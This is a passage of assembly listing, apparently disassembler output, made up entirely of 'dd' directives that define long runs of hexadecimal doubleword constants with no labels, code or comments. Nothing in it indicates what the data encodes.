		dd 0FF3B59DDh, 10560BF7h, 0F6006472h, 7505087Bh, 0ADA8506Ch
		dd 2EE19115h, 0B4423729h, 44E9E173h, 253D40E2h,	6860478Bh
		dd 6E20B849h, 878D257Dh, 0CEC28DB9h, 0C75D594Ah, 68341D84h
		dd 6925978Bh, 0CD421838h, 0FCDAC383h, 0FB1C30Eh, 339C7609h
		dd 0E4A4B475h, 5B495D4Dh, 0FDC32AACh, 7CCBC3EBh, 768120ABh
		dd 8C59495Dh, 98110C7h,	0BF48BF1Ch, 1AB786B0h, 486D3EBEh
		dd 1B439744h, 438B07E0h, 94E3E6A4h, 8C8818FBh, 2B20083Bh
		dd 4D9DAD72h, 16E169DEh
		dd 0E5E88265h, 0C890D39Dh, 0C29D648Bh, 137A5F14h, 0DC9DF079h
		dd 0E4D5A776h, 0B44D999Ch, 67294EA4h, 483DB8B3h, 7C89257Bh
		dd 0C89C15EAh, 62C86022h, 65F812A0h, 38B26DB9h,	1D327CB6h
		dd 0CB51195Ch, 504D2605h, 0FDF005A3h, 3F59C97Fh, 0A190F0F1h
		dd 92B38DF6h, 971C6AF0h, 708BDAFCh, 6B4F5618h, 0F027B1D7h
		dd 4D133562h, 14D0FFD0h, 0B53BC823h, 0DE608C78h, 0D545F625h
		dd 0D414C801h, 45CC5AB2h, 0A8D725F3h, 263443E8h, 57F4B5C1h
		dd 0A1D34A4Ch, 0C414AA46h, 2A71C95Ch, 46E57CD2h, 6517481Dh
		dd 2ED92D4Ch, 74190F40h, 83CC8410h, 347F4E2h, 0F83B98C1h
		dd 49EBFE73h, 6E272FC8h, 87129159h, 0D9EB0D25h,	75526B62h
		dd 0ECEC88AAh, 3066D3BDh, 878A1025h, 7C472C6Ch,	0E8D1020Ch
		dd 897FE083h, 52B7A385h, 86C0211h, 3F6254A3h, 89B5B0C4h
		dd 0D1086BD5h, 17E1840h, 38848D70h, 813F8A34h, 0A30C06C7h
		dd 9089454Ch, 24F59B36h, 0F0F2D322h, 9F1A735Fh,	5BC64B5Fh
		dd 4C928BDBh, 2A5451C4h, 6A9CF5A5h, 0A2A284CEh,	0FA104B75h
		dd 18A14EB4h, 26BC5D8Bh, 0D85B3BC0h, 5083B0E4h,	923D21A4h
		dd 0D843CBACh, 93B5FBDEh, 16747428h, 4558B78h, 8CE44D3Eh
		dd 0FCF08973h, 3BD0231Ch, 36A7589h, 0B101ED72h,	6C245164h
		dd 0E1A3DCD7h, 7021F012h, 56D26583h, 4256947Dh,	28C45C88h
		dd 93566B8Ch, 0C986456Ch, 506B4CF3h, 0F6CF6C91h, 0A0C31ABFh
		dd 6EBE838h, 23600997h,	9B5D0364h, 0A4059D3Bh, 40D46282h
		dd 4AF5F7EFh, 812E33FAh, 89B4EF94h, 3306A186h, 911D89FCh
		dd 22A31234h, 0E3E13833h, 1D13005h, 71AFF8BFh, 4C74B540h
		dd 65FFF815h, 3F35897Bh, 0EF4AAEE8h, 2951DD4Eh,	0CE394AA1h
		dd 8D571961h, 0C244980Ch, 0FAF5E97Fh, 25A808A4h, 4DA418F6h
		dd 0DC5E1C8h, 81922C10h, 35FF51C9h, 0CBBF6645h,	0A0FA449Ch
		dd 0AE125451h, 0A1AAE756h, 1140BF34h, 0E636F834h, 4AC4FAFBh
		dd 57916286h, 51A61C39h, 0CDB9FAFCh, 44984D18h,	0EA933CD2h
		dd 151CE889h, 978EAFA4h, 51F472A1h, 42BBEC95h, 5E87BF66h
		dd 1436A6BEh, 0A3034089h, 892EA95Ah, 56CFAB21h,	0A8D0C1F8h
		dd 82642643h, 0ECA4D2F0h, 0A0B8ECDFh, 0B5387688h, 4F0027D1h
		dd 0D284118Ah, 0EE554C88h, 7980150Ch, 0F767532h, 0F820FA2Eh
		dd 853FDF29h, 767EFF7Dh, 3E410A4Eh, 3918C0A6h, 0A9CE7206h
		dd 0CFA11D32h, 0EE5394F2h, 0A0BFF8A5h, 0A518EB1Ch, 8714081Ah
		dd 868B1879h, 9F0E81F4h, 860FF7D8h, 0D7E44648h,	0E24234B8h
		dd 5EAD4CC8h, 2FF67A89h, 0C6F55255h, 0A159BF81h, 1002D749h
		dd 454B5CBEh, 0FC7E83B0h, 187611B0h, 76173E70h,	76EE6A13h
		dd 0DB9F9207h, 0C681820Fh, 52FE0210h, 9AB17C88h, 0F97590D4h
		dd 12E44AD9h, 9DFFE8BEh, 0BA7E18EDh, 13049FD4h,	5A1A8E0h
		dd 5B076AE4h, 77E80F92h, 4B516976h, 0B0EE3860h,	33E416FDh
		dd 2642FEFFh, 0D5F73B0Ch, 2EB8A1FAh, 765C6C32h,	505C7DE0h
		dd 564B695Ah, 10E9E87Bh, 4E3B4393h, 0EF7F84A7h,	93280400h
		dd 9F5B3C43h, 0FBE07E30h, 0D2F694BDh, 4EA2EF1Bh, 630F10CAh
		dd 70401C68h, 0F3BFFD28h, 7A1E4D39h, 0EF9FC1E6h, 57D27076h
		dd 0B841D3F9h, 0BA3E4008h, 0B8EA9477h, 0F6695704h, 0D12F0F89h
		dd 6264867Dh, 58BE1854h, 0F8B6FF0Dh, 54B34Ch, 3359A96Ah
		dd 0C7483BDBh, 5B86240Ah, 3FFB8249h, 52CCDF01h,	0DFF8C4C2h
		dd 14455FFFh, 0A9230E21h, 1EBF1932h, 8AC1CF53h,	22680F18h
		dd 0F6C3568h, 386880EFh, 0C88E935Ah, 53291442h,	0E1FFCFCFh
		dd 9185B614h, 23578AD2h, 8F67465Ah, 9510A111h, 0E3D63757h
		dd 0BFC14AF5h, 10217C7Eh, 415A4278h, 848AC983h,	3C274105h
		dd 0D11CED0Dh, 6018FD0Ah, 0A0200800h, 0C2D2FB0Fh, 0A1ABD587h
		dd 0A484FDD0h, 5D3AEB25h, 3352E6C4h, 6105F4Bh, 84F54316h
		dd 0C288766Bh, 57252977h, 0CB842113h, 74302A74h, 0E93B40FCh
		dd 93756D41h, 7A6D2334h, 639E483Dh, 0AD4A8B8Ah,	55259C74h
		dd 655F56B2h, 490D2E74h, 62263951h, 7EFC82B0h, 0B8EECA67h
		dd 18390133h, 22050D74h, 3D4709AEh, 0EFBD9078h,	31FF0283h
		dd 0F78B4A74h, 0C6B2AF6Ah, 0BB0C3ABh, 0EEC990B8h, 0C7B52A0Ch
		dd 1383F24Eh, 4116D5C7h, 40505522h, 5A616811h, 0D029AE7Ch
		dd 0A55E172Fh, 7C10D801h, 0E1DB9958h, 0C26B6A40h, 0C4C7D4BCh
		dd 9EB1FDA7h, 0DC0684DBh, 0E7EFD80Dh, 82B05A9Ch, 221BAA19h
		dd 0DD666A05h, 34FFC820h, 8A4D6895h, 0C31942F0h, 42C0B999h
		dd 87271BF5h, 85276FEh,	74BD9AA4h, 0B6918798h, 0F1828B45h
		dd 6C17C13h, 0D5C62B58h, 0EC417286h, 28D004CEh,	18D8528Bh
		dd 0F84DDAC4h, 8DC829EDh, 0BF02FE60h, 32449A68h, 314137Eh
		dd 0FBF30077h, 95097401h, 0BA9A5FD6h, 424E1EF9h, 89090C0h
		dd 448A6885h, 0B0EF64C0h, 5CFCD341h, 0AB9F44E9h, 0E4921AEDh
		dd 2EDA6A4Bh, 66121A42h, 4E58EBA9h, 0FF9FDD4Eh,	56DE55D0h
		dd 17958AC9h, 0CF78352Eh, 0D7EC6565h, 6DDFB3CCh, 31DD59F1h
		dd 3F861A71h, 0C532524Dh, 0BA21808Ah, 0B23F0388h, 21D86A70h
		dd 9E415DEBh, 0A80C4D0Ch, 9F871E96h, 67F5D42Dh,	0F1DD49CEh
		dd 27029054h, 0BE3C8121h, 0A74FFF43h, 0AA203067h, 468D70F9h
		dd 79AD0352h, 2B2DCA85h, 5BF19128h, 507F8BB3h, 8537C1FAh
		dd 0FA6DF0E4h, 1CEB8917h, 0B8426A36h, 2A41B180h, 58B788C8h
		dd 5B462A18h, 0AFD490BBh, 8CB015DEh, 0E7E0EBA4h, 5B87A16Ah
		dd 3B15C97Bh, 8839EF0Ah, 152828DDh, 8A1EEBD4h, 40CA4CBCh
		dd 8CA28646h, 0F06E6C2h, 0FED1F78Dh, 137D0504h,	46D075CAh
		dd 24086AC5h, 2F9B9515h, 29244943h, 0A8E53A1Ah,	0EB306D70h
		dd 140E991Dh, 44AA8C22h, 0F4397D89h, 0DE7AA602h, 5C8DCADCh
		dd 46847C65h, 0A0941E87h, 3923E139h, 937D1E30h,	6C98C510h
		dd 0E6B7D53Eh, 0E7CB7C1h, 6B7F54C9h, 0DAB71114h, 0E958BFBBh
		dd 14042B75h, 1D7EFF85h, 805E4FEh, 40CF8985h, 0B606874h
		dd 12F73B46h, 0C032E37Ch, 0B0C35D69h, 0F8EB0118h, 4A10B871h
		dd 816AA220h, 5748560Ch, 738E46Fh, 628C2DEFh, 0D5036AAEh
		dd 0E2D346E6h, 2A78FF8h, 0F6294BB3h, 0E0A6BB53h, 0EFDA174Ah
		dd 9FF01568h, 6FF7BEC9h, 0C0740DC1h, 274E1B28h,	62EF8963h
		dd 0C72A5B2Ch, 0FDD2649Ch, 561122CFh, 8C4DBB97h, 0E83A57BCh
		dd 9374100Ah, 17205623h, 0E0BEA544h, 0B139D620h, 51FC3A1Fh
		dd 0EC42324Bh, 10863699h, 0C3F2BD80h, 7D750C33h, 68187E08h
		dd 6494A5C0h, 687444C5h, 0BA41382Ah, 0FD74B703h, 75023620h
		dd 6887A047h, 276BD1DCh, 7210C291h, 5E102F95h, 810C020Ch
		dd 20DF2CFEh, 43C39D83h, 4F2064EBh, 0F6242FF0h,	798BC71Ch
		dd 0BD5EDBD5h, 0E95BC38Ch, 0A693E83Bh, 1D4F0890h, 0BB6FE483h
		dd 7692C6BBh, 17A21F39h, 0A4748771h, 2290AE6Ch,	0D6655402h
		dd 0DB1A0F72h, 12DF2FDDh, 258B54BCh, 4106187Dh,	39C75C2Bh
		dd 55E8B34Eh, 0A5537BD5h, 0CDA5C4BEh, 10C91178h, 688C7353h
		dd 0F9A8126Bh, 0B8115050h, 2B54A051h, 8BC021EFh, 727EF2F7h
		dd 7704E26Bh, 0CC278C71h, 7D02078h, 55565327h, 0F830EA98h
		dd 6900D99Fh, 3A567AC1h, 0E6509DF7h, 5AF4B05Bh,	2FA4A27Dh
		dd 0B53A8573h, 40FA2816h, 31148A9Ah, 0A18FA80h,	0D0A0574h
		dd 91045175h, 3B4180F7h, 0EA7C06C8h, 3B57D233h,	75A12A4Ah
		dd 3C804F87h, 19750332h, 1B37CB3h, 0A4CC030h, 5B810E74h
		dd 294E9FBh, 0F890B7Dh
		dd 7A7D043h, 7CD03B42h,	0CCE8FDCh, 17745F02h, 8B1A80B2h
		dd 84DB9D92h, 0E491EDA0h, 8826125h, 14854E6Ch, 454014B9h
		dd 8DABF305h, 81851C78h, 8B531F7Ch, 103B82DFh, 9006048Ah
		dd 3FB575B9h, 4CBF4659h, 1C891882h, 0D7404B81h,	5B5BE57Eh
		dd 96053F17h, 98C0424h,	613C07ECh, 510B7C59h, 0A0077F7Ah
		dd 0E809D928h, 0DF33C360h, 100CE718h, 575172B4h, 5329EB2Bh
		dd 0FC7DB03Bh, 9CC8D994h, 0F1EFF409h, 3F2B3758h, 795A7871h
		dd 8B4E0402h, 7E9D40FEh, 0D0CC927Ah, 0C49A7F9Eh, 7BACC189h
		dd 9F8C071Fh, 0DEA59255h, 46A02052h, 553F7C1Fh,	4F84AAF4h
		dd 2BCA8DA0h, 1E32CE48h, 0C107027Eh, 7D83F803h,	0A2C93FCh
		dd 0FF728D95h, 0B0D0594Dh, 55897019h, 0CC4DA4F8h, 0C1524D64h
		dd 4FB07502h, 8E86EB4Eh, 0D7058CBBh, 0AAC75B03h, 81018B2Ch
		dd 53A36F56h, 2DAA1C4Bh, 685036C6h, 2BED5016h, 329C3FFCh
		dd 83C41210h, 42716414h, 88AC01Fh, 301FF980h, 90A057Fh
		dd 405E0375h, 7148A388h, 1419A38Dh, 1D0C72D0h, 0EB742E08h
		dd 0E67C2105h, 0EA832F24h, 54B1DABEh, 940462A2h, 6F1D5639h
		dd 92D7C4F8h, 995FA491h, 0D22B2A72h, 64C6C426h,	1CF229A3h
		dd 6C9A38DCh, 73DAD5F5h, 0C13686Ch, 2222B128h, 248AABC3h
		dd 287E5508h, 30BF0BD9h, 86D24316h, 38E01528h, 0EE3BE805h
		dd 11A16474h, 6A32C82Bh, 0D806046Bh, 43785181h,	16B789A4h
		dd 328D1C1Fh, 0C0767455h, 53137CCAh, 506E5BE6h,	4CC868E5h
		dd 303A55F2h, 210FC5D0h, 59E0C9C9h, 57817170h, 37E0292Bh
		dd 11C8414h, 0BF91EA25h, 8C2AE485h, 25D80420h, 0B99418DCh
		dd 0A390928Bh, 0D9732709h, 62842FBCh, 2A12B803h, 61D248F8h
		dd 0D6B250FCh, 12E65175h, 6A44B14Ch, 0F0CF58FCh, 1480F319h
		dd 8F1DB382h, 6AD3A779h, 0ABB7F0Dh, 4A3402A8h, 0D66A4B40h
		dd 16940659h, 52E9E636h, 6069F37Ch, 1318E6F5h, 0F2942868h
		dd 51C9F64h, 66A0431h, 52144692h, 26E2BB2Fh, 6410C646h
		dd 4EBA5E07h, 0EB3590DDh, 0AE0F7417h, 49757AC8h, 0DB66AE07h
		dd 0A5280D59h, 9C59B183h, 921D4973h, 433FF2ABh,	0A00E6212h
		dd 986801FDh, 0A6AC6B94h, 0BC1412F4h, 11BCD217h, 0A600BAF4h
		dd 0C860FFEh, 22118201h, 68444850h, 0D23D5453h,	1943EAF8h
		dd 12332D5Eh, 9A57570Eh, 0BD8D947Dh, 8CCF2571h,	95A81844h
		dd 0D526B647h, 75E77D1Fh, 0A411B866h, 0BC5EFFFEh, 0FDB42D30h
		dd 0D4ED91AEh, 4A55C22Dh, 257B4BBDh, 33D7508Dh,	0BA52EC54h
		dd 0D27EF1CDh, 129212D2h, 29071B7Fh, 48249C2Eh,	0F3CF1BBh
		dd 0BA291035h, 0B04355E3h, 0EB846E65h, 68256CDAh, 948FAF4Ah
		dd 0AD902734h, 9672B95Eh, 2057CAFFh, 0DED79002h, 3AF52DA8h
		dd 319E77F2h, 0F9DF1082h, 0BF504567h, 7C2251E6h, 55750212h
		dd 14B1E4BEh, 26542AC9h, 593B57DCh, 2F8C5764h, 0FC516831h
		dd 0A85004A4h, 9257A263h, 5414DC0Dh, 38EB2017h,	0D4DA73AFh
		dd 0CB52677Eh, 0A4687D28h, 2BF43A1Bh, 92C35F1Ch, 0AB7451C0h
		dd 421D6ADh, 0A97A2D75h, 250D8BB6h, 27BB394Fh, 7E19B6EEh
		dd 0A751684h, 63AA095Eh, 3F4B05EEh, 48681890h, 0B74BFD0h
		dd 0F5EEF0E5h, 0C4385261h, 0D7326A22h, 0DECB0572h, 0DD4DB40h
		dd 5926D4D0h, 289D14A5h, 59FF0811h, 241114B2h, 0B70C490Fh
		dd 0FD46CBDDh, 4346CEBAh, 2ED44E4Bh, 0AB3CD40Bh, 9D945837h
		dd 512F411Eh, 5C955756h, 5DFE0B25h, 0DB0CD0C8h,	52970CD6h
		dd 0D84DDA83h, 0B4E00DDCh, 0F02BE293h, 6A95EBE6h, 1395517Ch
		dd 4AE8F010h, 40348D18h, 61E6C1C8h, 20B6D302h, 50A82B95h
		dd 56887CC4h, 0FC867F85h, 6810E92Ah, 0AC29630h,	7CBA40BEh
		dd 85D12DE2h, 29042D45h, 2E82A7Dh, 3D616958h, 0DD8DE0EBh
		dd 0E0235540h, 34A118FEh, 2F0AA3E0h, 5EF40C9Ah,	9776F12h
		dd 415F53A8h, 0FC13F19h, 0C82B222Bh, 7531B075h,	0C302960Ah
		dd 0C5DCEBD8h, 0C584BB9Dh, 5E3400F5h, 22B84FB0h, 2096F3EBh
		dd 45454D5Bh, 0CF1901F8h, 17D4030Ah, 0E37617Eh,	3B327F06h
		dd 59517FE2h, 131C1553h, 6616EBA5h, 0B8711F84h,	970C568Ah
		dd 0CAB4A820h, 27CC4808h, 5739CACCh, 0BA5E4407h, 1C6281D5h
		dd 82B474B9h, 870FC13Bh, 5DAF33D4h, 0FBF3EA9Bh,	5A772201h
		dd 0C88B4E74h, 0EA8EE9EDh, 1933493Dh, 9F2206CEh, 13195118h
		dd 0BB3A240Ah, 0C068A420h, 7090BD9Ah, 36B0477Eh, 7C420A8Eh
		dd 1C5948C8h, 99C8110Bh, 0BA81B0D9h, 74C60C11h,	0DE1BAE25h
		dd 0A664FB06h, 99B0219Ch, 1580310Ah, 24DD7DEBh,	0C1760742h
		dd 6F129814h, 70F0EC2h,	305BB9A5h, 746D77B1h, 888D580Bh
		dd 0C2A3D5DEh, 60E811F9h, 890EB60Fh, 1F418E96h,	6E8D2486h
		dd 689820Fh, 81803D2Bh,	9C203607h, 2F0FCA97h, 7E0720B2h
		dd 2E984228h, 7204021h,	10421A7Eh, 0B411133Fh, 210C3F96h
		dd 91051F90h, 0B3844070h, 0AB964D70h, 993042CDh, 0AA14A74Ch
		dd 0DB850E5h, 0DF1866C3h, 3444091Fh, 1203893Bh,	48262411h
		dd 220A912Dh, 1D09E055h, 3A030201h, 50604B1h, 7089906h
		dd 0B7630806h, 0BF038C12h, 24263D99h, 2689B14Bh, 45146227h
		dd 13DC5FF4h, 0FDE99B96h, 94A6EAF5h, 0C9E8B85Fh, 8A2C4B74h
		dd 0A6412901h, 9226A30h, 46FC4C94h, 0EA3D1211h,	0B485D921h
		dd 1E6AEC14h, 8ECCFC5Dh, 358D17A0h, 0FA7378B5h,	74489BC0h
		dd 3906C843h, 25202F10h, 81111B40h, 9BBF2007h, 3C9D3291h
		dd 0A1309FE1h, 9FA1249Fh, 0C9FA118h, 867EB8A1h,	4FE6F449h
		dd 0AD2E59B1h, 4FBADEDAh, 0FC762AC1h, 26D6A149h, 0F4B73EE8h
		dd 0FC7458D6h, 4728E385h, 6824C6A1h, 8C0F0D62h,	0FD7F3D66h
		dd 0DF123CBCh, 0B44840B6h, 3BFDC292h, 5B5EF682h, 50BE3E72h
		dd 0B8D07D5Ah, 0CA828A70h, 5D75620Dh, 48EFA82Fh, 0FC575D44h
		dd 0B8818467h, 834DB990h, 0F1105C7Dh, 246A3909h, 2BC77A79h
		dd 8D58AAEFh, 58AC8942h, 76043EE1h, 0B63CBE8Bh,	0C421C81Ch
		dd 0EB14C19Bh, 32A75452h, 0A1540C4Eh, 32C6EA4Fh, 0A8081C71h
		dd 1629AC87h, 1FB05120h, 54462159h, 18EB8421h, 9CC35D1Ch
		dd 0F5D8A5F6h, 2004752Dh, 57555354h, 8B02C256h,	427A883Dh
		dd 0BBFF6A13h, 3C93EB89h, 1191F28h, 3C05F6D7h, 19A80B8h
		dd 1675E88Bh, 0B0D5580h, 0FDE95D47h, 0A3176166h, 0A45CB5DCh
		dd 35FF5545h, 3172091Ah, 0F40A134h, 0BB5B5D5Fh,	98209784h
		dd 77458130h, 0A157F61h, 0B891109h, 0A2C266A4h,	0D6E52916h
		dd 4A7F11D8h, 90653788h, 2D4DE847h, 88C9FFF0h, 80299925h
		dd 3455E454h, 0A1E81156h, 9ADFFC8Bh, 6AEEA252h,	0C851E902h
		dd 2886A214h, 0CE81D06Ch, 2A9423Bh, 0AF57DF89h,	571A316Ch
		dd 0FFC4850h, 6B900116h, 2B448DF8h, 0ACBA023Fh,	53570A91h
		dd 2ECAAD19h, 2FF7F9D5h, 819C3857h, 16B58577h, 4C4BAFFDh
		dd 5ECBA0AFh, 52D75EB5h, 141504F1h, 35495122h, 0AEA4FF2Ah
		dd 0B4BAF425h, 6816F03Ch, 347C9C38h, 27A3B418h,	9A14ABB1h
		dd 60F6FC09h, 0E101F6D0h, 18DBCC7Fh, 0D8859594h, 0E9C1DE3Bh
		dd 2C62FB81h, 53353878h, 0FAA51ECCh, 2482D125h,	591E779Ch
		dd 165E8796h, 0A06DEB24h, 7D0B39FDh, 0F45C7214h, 8D70946Dh
		dd 0B4107619h, 0DDC92FBCh, 7F8F0CD5h, 88D0575h,	32520D8Dh
		dd 604311Ch, 9BF568ECh,	5B901866h, 17B02CBCh, 3B621B98h
		dd 8BAC76B4h, 0D28D9EAh, 19ACBA64h, 24FB20AAh, 267463D5h
		dd 3B3E53DEh, 2DE6CB94h
		dd 865FE95Eh, 583EDF3Bh, 2BA01A92h, 264E74C7h, 3BF1BAA5h
		dd 0A327842Eh, 79884A2Eh, 20434184h, 0CA422E6h,	173064EFh
		dd 847A3941h, 138511DBh, 45C88313h, 9403EBB1h, 4D09EB30h
		dd 53FAA020h, 87B840BEh, 0D19CC808h, 0D1546348h, 4418C828h
		dd 0B3143C98h, 0B8400822h, 8F9C70D8h, 0BC2410A4h, 6FC924C4h
		dd 21F5C022h, 37DC45EDh, 400C2097h, 12BDECE0h, 7A488BF9h
		dd 0E9584EC9h, 0DC08674Eh, 2F575043h, 64DEE838h, 3B42044Dh
		dd 91AB6CACh, 6844FA6Ah, 4899C43h, 56723155h, 2C467E4Eh
		dd 506A6040h, 2F2C320Bh, 97EC4CBAh, 3426DECh, 9152FC25h
		dd 5C179D69h, 0EE3016BCh, 42804BCCh, 2E8F949Eh,	1412B718h
		dd 0B1B1A412h, 0A2561C08h, 1E9BDDA3h, 0A02755Ah, 9B0C70FFh
		dd 0F2DCC34h, 0E408C82Bh, 4882B5Ch, 9D2A50E4h, 42104089h
		dd 8F0A5348h, 3BB180B8h, 9E409113h, 38280C3Fh, 7ECB9007h
		dd 51898630h, 0A27C4A1Ch, 4A0C3914h, 381CA22Bh,	5B859DF8h
		dd 15E8729Ch, 0D47218C4h, 722CC415h, 30C415BCh,	0C415A472h
		dd 15947224h, 847228C4h, 7734C415h, 3C115798h, 11575CC8h
		dd 7948C838h, 1E144956h, 944C232Bh, 23AA5634h, 2BD2BD40h
		dd 468E44A8h, 951E60Ch,	2CEB5B5Fh, 0E8218494h, 96116E9Ch
		dd 8A9E453h, 0B274BC5Eh, 925A7D20h, 4229094Ah, 0FE7D8565h
		dd 516618C9h, 145B5FBAh, 0E23114CDh, 0EC45C9FFh, 2599512Ch
		dd 10542DE8h, 10649EFCh, 0F757B2F8h, 79567AE8h,	73227725h
		dd 98D7B934h, 2574F4A9h, 55993D3Ch, 0F316C650h,	9E43D808h
		dd 0B68811D8h, 5C565596h, 0FC252B7Bh, 0F384B9C1h, 0CB84855Eh
		dd 69768D06h, 2974731Eh, 964437FFh, 2516DD0h, 2015FB45h
		dd 4C73FF8h, 43F84500h,	72145D3Bh, 2AEBC314h, 7DA4CA39h
		dd 853389D8h, 7B421C45h, 4C570C74h, 54D6952Fh, 4B56F82Fh
		dd 47732F4h, 8E073B2Ch,	1944E297h, 880A8C58h, 205F548Bh
		dd 0F4D435C7h, 215EB0B7h, 18085882h, 944286A1h,	777BF801h
		dd 9D4F745Bh, 4059050Eh, 31E9080Ah, 22FA3203h, 13F43507h
		dd 850F5701h, 684985C6h, 2EF2A1CCh, 95CE8A1Eh, 8CC80AB4h
		dd 7B0B7859h, 0A5509085h, 747CE180h, 0C82D1228h, 1A984B07h
		dd 300DE587h, 38687875h, 145726AEh, 0A0F01030h,	107EEB17h
		dd 773F0736h, 7014847Dh, 0DFAEC5B9h, 277430C1h,	17BBAD2Dh
		dd 84485299h, 0B069815h, 0D032750Eh, 4C3B24C4h,	7E072CA8h
		dd 28104245h, 9F619F3Eh, 0CA2D370Fh, 3A2B2E43h,	1FB217F6h
		dd 0CAAF250Ah, 6AC1294Bh, 1A1D4298h, 1F07AF88h,	8F649013h
		dd 4540C80Ch, 0F2C8605h, 0B55FE0F8h, 4EB88773h,	0D861EF17h
		dd 56020718h, 5949DA7Ch, 0F8E80889h, 6B19DD52h,	0C65FCABEh
		dd 0F6F85E53h, 24AB5F9Bh, 0BD102427h, 0FCE815E4h, 0B23C9030h
		dd 0B81004B7h, 4212439Ah, 576A2725h, 7CE4FE91h,	0BE14C253h
		dd 98F4F8DCh, 74A24E99h, 2932E0AEh, 30A18D71h, 27C4DF51h
		dd 2FE6BA79h, 27BD9429h, 25FA1CA1h, 0EDBC68Bh, 0C044DFBDh
		dd 0E7EF286Ah, 5FB82984h, 0D73E021Ah, 925F1312h, 90C6769Fh
		dd 8529C9B9h, 70BB0C31h, 4D830678h, 0EB02F812h,	0FD1CADE9h
		dd 87646756h, 21D363EFh, 48F12540h, 29CA6B68h, 9AEC5413h
		dd 0FB496AC4h, 0BA2A13C9h, 0BD8D5920h, 0AF995D4h, 0F306D011h
		dd 0B388B9ABh, 0FCB026C4h, 24B4AC23h, 4ABF8683h, 7E89AEDDh
		dd 0C4B31890h, 0A722B8E8h, 0DE496A27h, 0FD537941h, 0BFAC060Fh
		dd 643B7D45h, 0FB53754Ah, 0A6C70632h, 9D212806h, 274F44A8h
		dd 7208927Fh, 264A5723h, 0BFE81C40h, 341860F3h,	633D8B2Dh
		dd 0FFBB498Ch, 41851FF3h, 741845B3h, 0FCFF4160h, 39752138h
		dd 30FF165Dh, 158371EBh, 8DCC2F8Ch, 2C836512h, 469B8704h
		dd 72264398h, 8D81BADDh, 0D8B5FFDCh, 7E5247ADh,	9B4CD74Fh
		dd 0E1C3AEFCh, 6B446A02h, 0CD7E49F9h, 2F23A9B2h, 6631D615h
		dd 452614CAh, 0C12998Ah, 3214965Ah, 0DCB00843h,	1C707D83h
		dd 52CF91D0h, 76242620h, 3843DCADh, 0B1F091FCh,	4B89442h
		dd 8E492F24h, 17C4FF0Eh, 1284C590h, 0EC4AD8Eh, 6802FAACh
		dd 0B47CA3E4h, 6A1407D2h, 45F265DBh, 2A932214h,	0FC978D50h
		dd 0B15752ACh, 302733EEh, 32527159h, 25D9DADCh,	913DD88h
		dd 993453D6h, 0A7AEEC95h, 8B49B30Ch, 57184D64h,	7518088Ah
		dd 0EBD61605h, 3FA4D54Eh, 5FE6B5D2h, 2AFB025Eh,	201C5813h
		dd 8A59BFA4h, 6928FEE9h, 463C9C55h, 0FC2C6BF8h,	0B5E9D3F5h
		dd 23CE3E68h, 23F03265h, 0EF8D5618h, 0AF924FB3h, 8A456FE2h
		dd 45140B60h, 0F0F630A4h, 62A7A377h, 60855FA0h,	9F33145Ah
		dd 2EEC8349h, 0FED645F7h, 0EFA0C1D5h, 6089B70Ch, 50D65929h
		dd 19F459CBh, 22562616h, 6F09CF11h, 44759633h, 634E5FBh
		dd 44EB70E0h, 0FFAB2801h, 69343526h, 7B305D2Dh,	4825A1E3h
		dd 4C8362BCh, 0BEA49FD5h, 3AEAA803h, 0D2868A1h,	5F0F4451h
		dd 0FF6165AAh, 52942B64h, 6CF8E3FAh, 0D64CB027h, 6EDCAA55h
		dd 8F47C409h, 99A6EE6Dh, 4A02109Ch, 84E524FEh, 25158E2Fh
		dd 0C096F527h, 75954C92h, 5826CF94h, 0EB786EA4h, 0B71CAE17h
		dd 9EB5E5DAh, 0BD759533h, 7FC6315Bh, 438C4B05h,	990C2787h
		dd 8F49BE30h, 54BB2D41h, 0E95B0222h, 369A5A55h,	42F7DB41h
		dd 0E45E161Ch, 0DCA648BFh, 0F5A6944Fh, 0DCBD9B22h, 0FB2B13B3h
		dd 44356921h, 18901D52h, 0CBB00D74h, 0EB03F82Fh, 5D99E2C3h
		dd 6A2B85D9h, 0A589D17h, 0B5107664h, 540054E2h,	4054740Ah
		dd 72C83B62h, 85B178F0h, 0DAF4677Dh, 18FC94C1h,	0ECC47E91h
		dd 6D742170h, 0C853174Ch, 0DCA18830h, 30AAD513h, 407490D2h
		dd 0EB099392h, 28C068AFh, 57721F3Ah, 0F46BA0F9h, 6213EA54h
		dd 29B59868h, 8E285714h, 0FD233568h, 4378554Ch,	2F6A5603h
		dd 2D48FEF6h, 0E088D6E7h, 3F847A46h, 0F18053C5h, 135BE445h
		dd 0A4083D8Bh, 0F2A95034h, 0C1E92C7h, 0F05232ABh, 0EC33C1DDh
		dd 0FD58B768h, 16985A99h, 0B748D357h, 22174238h, 0D0DC9581h
		dd 0D21DD04Bh, 0D77C32C4h, 0DC9559E6h, 3A4CCDABh, 0B7D486CCh
		dd 8C42EB9Ch, 7BAD89D6h, 77D2E1E1h, 0C8664244h,	0FE55CC06h
		dd 0C78C6D7Dh, 22F3508h, 7E7DBBCCh, 49CA68DAh, 0B8526155h
		dd 8488EC3Eh, 0B9BABC75h, 0F508C947h, 112A152h,	0AC526193h
		dd 0A5C299BEh, 0D8C6029Eh, 0CFB244A3h, 500AF816h, 26D49E08h
		dd 83B6C23h, 0C83E0C9Ch, 574844Ch, 1EBE3D1h, 0FB54F270h
		dd 56A7283Fh, 24FE2E98h, 15CA54Ah, 8EBAA30Bh, 0DC4D44EAh
		dd 4A24F2AFh, 188F22D0h, 0FF7EB7E9h, 55445192h,	0B2AEA05Ch
		dd 0A5819604h, 37892487h, 4E5D2775h, 0FC8822E8h, 48A4F021h
		dd 0D1FC2711h, 0D8F17D72h, 4167F5CBh, 4755404Dh, 7E43B1EAh
		dd 74A847ADh, 939F0762h, 0B010D7C6h, 0ADD6EA96h, 8AEBB253h
		dd 214C41Ch, 39CCE412h,	18943D5Fh, 541912C3h, 0CABEC399h
		dd 16C7802Fh, 57814E1Fh, 0BC91D8C5h, 98448998h,	553751Ch
		dd 9298A166h, 0FD99BF43h, 0B4D4C5CEh, 58318617h, 5FA7E42Dh
		dd 6AF8ED19h, 0EA48FCE6h, 7486256Bh, 62B70FA0h,	0F99CD54Ah
		dd 11B02789h, 194813EBh, 0A7702568h, 97B594FDh,	1A75EA82h
		dd 0EC4E74F2h, 0EDD6B38Bh, 69EB4A95h, 0DE243FDAh, 0ACF0800Ah
		dd 0E37E47D9h, 32066CE7h, 9F99AC5Ch, 0A087B34Ch, 0EC842091h
		dd 1A1D6EA6h, 25A6D568h, 1D5A8021h, 1163EAA7h, 0F0E04BCCh
		dd 2E538962h, 0EC3510A9h
